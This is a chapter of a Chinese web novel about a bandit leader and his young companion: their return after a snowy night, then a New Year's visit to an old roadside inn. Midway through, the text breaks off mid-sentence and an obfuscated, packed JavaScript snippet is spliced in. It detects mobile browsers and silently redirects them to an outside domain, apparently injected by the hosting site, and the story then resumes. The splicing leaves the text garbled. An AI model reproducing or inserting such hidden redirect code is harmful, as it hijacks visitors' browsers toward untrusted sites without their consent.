后半夜,鸡叫了第一声,两扇大门终于给推开了。
正在收拾满桌杯盘碗碟的郝粮听见动静,从灶房往大屋跑,慌乱之中一摞盘子摔在地上,粉身碎骨,她甚至没来得及多看上一眼,就一边在围裙上擦手,一边一头撞进了屋里。
屋子里站着坐着一共五个人,除了一直在屋里等信儿的秀才,就是那最让她操心的几个男人,都是一身的雪,正低声说着话,见她从灶房里冲出来,都突然噤声不语,脸上挂着别无二致的傻笑;万山雪突然对堂屋的大梁产生了别样的兴趣。
“都活着呢是吧!还知道!回来!”郝粮已经冲了过来,隔着万山雪厚厚的袄子,每说一句,就狠狠给他一下,除了不太能动弹的计正青,其他人都立刻作鸟兽散——济兰还没躲出几步,忽然被郝粮一只长了眼的手一把搂住,搂进一个暖呼呼的怀抱里,他的脸被按在郝粮的肩窝里,简直喘不上气来,但是他听出来郝粮哭了,“好孩子……你要是不看着他,我真不放心……我还以为你们都回不来了……你个倔种!”
最后一句是骂万山雪的,济兰涨红着脸从郝粮的怀里挣脱出来,余光之中,万山雪无奈地笑了,很有几分手足无措的样子,似乎想要抱住郝粮,又不敢伸手,直到郝粮扑进他怀里大哭起来。
“你说你这……欸呀,大家都看着呢……”万山雪拍着郝粮的肩背,动作很轻,好像她是个玻璃做的人,其他人都齐刷刷地开始研究整个屋子的装潢情况,“这不是回来了吗……我还真那么傻,单枪匹马跟三荒子响(打)?别哭了……一会儿大伙儿笑话你了……”
又抽噎了几声,郝粮终于止住了泪,推开万山雪,用袖子抹了抹眼角,这才破涕为笑:“瞅我……真让大伙儿笑话了……”
剩下四个人立刻异口同声:“没有没有。”
“行了……一会儿天都亮了……大伙儿都睡去吧?正青伤着哪儿了?嫂子给你上药。”郝粮几乎是立刻就恢复了她粮台的稳重的本色,要不是她眼圈还红着,别人还真以为她早已习惯了刀口舔血的响马生活。她一发话,大家没有不从的,就连万山雪也立刻说困了。
济兰跟着万山雪并肩走出大屋。这时候雪已经停了,院内垒着一层厚厚的新雪,每走一步,雪都淹到脚脖子。
今晚实在有很好的月光。
关东的月亮明亮而孤冷地高悬在天空正中,照耀得满地新雪反射出格外明亮的光辉,就像是一个并不那么明亮的白昼。济兰忽然问道:“三荒子到底是谁?”
如此静夜,仿佛方才的大雪只是一场幻觉。万山雪沉默片刻,说:“一个胡子。一个仇人。”
“仇人?”济兰咀嚼着这两个字。这是一个身份的定义。万山雪也会有仇人么?他看起来义薄云天、快意恩仇——不过胡子之间有些矛盾,听起来也很平常。
“仇人。”月色照着新雪,于是也同样照耀着万山雪冷峻的侧脸线条,侧脸的腮帮子上突然轻微地凸起了一下,似乎是他咬住了后槽牙,“不是他死,就是我亡的仇人。”
两个人并肩走在院子里,雪在他们脚下嘎吱作响。济兰长长吐出了一口气,眼见着那口气变成了一道白雾。
“所以……我们早晚有一天,要插(杀)了他,是吧?”济兰问道。
“怕了?”万山雪睨着他,济兰突然发现万山雪比他高了半个头,“你以为当胡子是住高楼、睡女人,砸砸你大伯那样儿的废物的窑……”
“我没这么说。”济兰道,万山雪没办法猜出那颗美丽的脑袋瓜里究竟在想什么,但是这终归是他选的人:机灵、心狠、管直……尽管有的时候似乎有点太心狠了;济兰继续说,“他到底是怎么和你结仇的?”
万山雪的脚步停住了。
济兰执拗地看着他。他只好不耐烦地抓了抓头发,说话的时候眼睛望着别处。
“这有啥好问的啊?就是他哥被我爸给插了,他就想来插/我。”
哦,还算世仇。
但是不等济兰再追问下去,万山雪忽然一转身,加快了步伐,走到了自己和郝粮的屋子,快步走了进去,“当”地关上了门。
兵荒马乱的一晚上结束得很快。纵使冬日的天总是很短,关东的日头却依旧早早地出来了。但香炉山仍然沉沉地睡着。年初一的早上,又是刚刚经历过一夜的奔波,确实就该这么安静的。
万山雪从一场长长的,糟糕的梦中醒来,炕上只有他一个人。
他揉着眼睛,从暖烘烘带着羊油块子(肥皂)味儿的被窝里钻出来,伸了一个很大的懒腰。等他收拾好自己个儿,甚至刮好了胡子,油光水滑地一脚踹开了济兰的屋门。
“走!跟我下山!”
自从成了翻垛的,济兰就有了他自己的小屋——说来有点晦气,就是他做肉票的时候住的那间。见万山雪一进来,济兰猛地从炕上坐了起来,还死死抱着怀里的被子,脸涨得通红:“你进屋怎么不敲门的!”
他肤色本来极白,此刻满脸红晕,柳眉倒竖,煞是好看。
万山雪吹了声口哨。
“都是大老爷们儿,咋就你跟个大姑娘似的。走,下山。”
“……我要穿衣服!”济兰喊道。
万山雪不置可否地一撅下嘴唇,笑着走出去了。
说来也是唏嘘,济兰一到了关外柳条边,就给万山雪劫了,连关东正经什么样儿还没怎么见过呢!不过万山雪可没好心到亲自领着济兰下山玩耍的地步。尤其是这么样寒冷的冬天。
济兰穿得暖呼呼的,戴着胡子们最看重的貂皮帽子,跟在万山雪身后下山了。
今年是一个严冬。
土路上散落着一个又一个裂口,老人说,这是大地给冻裂了;一张张口子就这么样张着,像是一张张讨食的嘴巴。
今天是大年初一,这条十字街上也车马稀疏,连带着这条路口上最大的一个车店也门厅寥落。
老钱家车店在这条道口开了二十年了。
据他老钱本人吹的牛,他爷爷打咸丰年间就来了柳条边,怎么说他家车店也算得上是个“老字号”,尽管没有店像他这么算经营年限的。老钱长了一张十八岁如此、六十八岁依旧如此的脸,年轻的时候显老,老的时候显年轻,因此也有一个别号,叫做“老来少”。
小栓子是老来少的小儿子,此时正在门口打盹。听见脚步声,他猛然惊醒,先是见到了那匹白马,又看见了马上那人,顿时喜笑颜开,从小马扎上跳了起来,叫道:“财神爷!你来啦?多少日子没见您老了。吃快当还是住快当?诶哟,这位是您的……”
万山雪下了马,亲自把腿伤还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516195|186227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没长好的济兰扶下马背,这才走上前来,很是用了些力气,把小栓子脑袋瓜上的头发揉得乱七八糟的:“吃快当,不耽误你们吧?哦,这是我弟弟。”
小栓子好奇的眼神一到了济兰脸上就下不来了——他们关东山柳条边这一片儿什么时候出过这么俊的人物了?他愣神的工夫,万山雪叫了一声“小栓子,来给老子压连子(牵马)”,他立刻回了神,殷勤地牵起马缰来。
“瞧我这脑袋!快进屋台上拐着,炕头给您几位留着呢……我爹这几天还念叨,您几年都不来了……”
万山雪走在最前头,济兰紧随其后,小栓子去牵马了。他们两个一进门,挟着一股子严冬的寒风,扑进整个暖融融的车店。门口柜台后头,倚靠着站着一个花眼老头子,手里托着一个几乎看不出本色的黄铜烟杆,总让万山雪疑心这烟袋锅子也跟这家车店一样,是一个“代代相传”的“老字号”。
老来少见了他,也不招呼,眯着他浑浊的老眼,突然吐出一口同样浑浊的烟。
“你还知道来?”
济兰一惊,一只手已经握住了袄子里的花口撸子。但万山雪还是笑眯眯的。
“生意忙啊。怎么的,您老想我了?”
老来少“啐”了一口,用那双肿泡眼往济兰腿上一扫,问道:“腿脚咋的了?”
“受了点小伤。”万山雪也扫了一眼,笑道,“还得是您老眼神好,现在还有点儿跛,我家那口子不会照顾人,一直没好全。”
老来少瞪了万山雪一眼,转脸吩咐刚迈进门槛的小栓子,到旁边肉铺买几根大牛骨头来,晚上炖汤。
“知道您老心里疼我。”万山雪随手在袄子里一掏,掏出几吊钱来,放柜台上一放,片片相撞,听着分量就不轻。谁知道老来少突然立起眼睛来,骂道:“把你那臭钱收回去,我嫌埋汰!”
气氛一时僵持下来。
万山雪的脸似乎变得很冷,如同这个严酷的冬天,能给大地冻出裂口一般的冷。但是一转眼,他又笑起来,只是那笑容略有僵硬。
“就是孝敬您的,没别的意思。”
老来少冷哼了一声,依然吧嗒着他的烟,一眼也不去看那钱。
“我知道,你褚莲能个儿了,起来之后,局红管亮(绺子兴旺)了。可是你呀,你在我老头子心里头,还是那个缠着我讲故事的小屁孩儿……”
“……您老说这个干什么。”万山雪突然打断了他,济兰看到他的耳后红了一片,但是也可能是因为刚才冻得,现在进了屋,冻透了的部位就会开始发烧——这还是他来到关东之后体验到的,“都是陈芝麻烂谷子的事儿了。”
“陈芝麻烂谷子……”老来少重重地“哼”了一声,“人岁数一大,就老回忆过去。我一想起来你过去啥样,再想想你现在——啊,入冬前儿,你又劫了人家的粮队,是吧?”
如果不是万山雪岿然不动,济兰几乎以为他会立刻夺门而出。他的表情是这样说的。
那双极具男性魅力的嘴唇抿了起来。
“您老要赶我走?”
老头子听了这话,突然吹胡子瞪眼了!
“我赶你走?我他妈赶你走,我炖什么牛骨头汤?兴你干坏事儿,不兴人家说?滚去炕上坐着吧,傻子似的,杵在这儿,耽误我做生意!”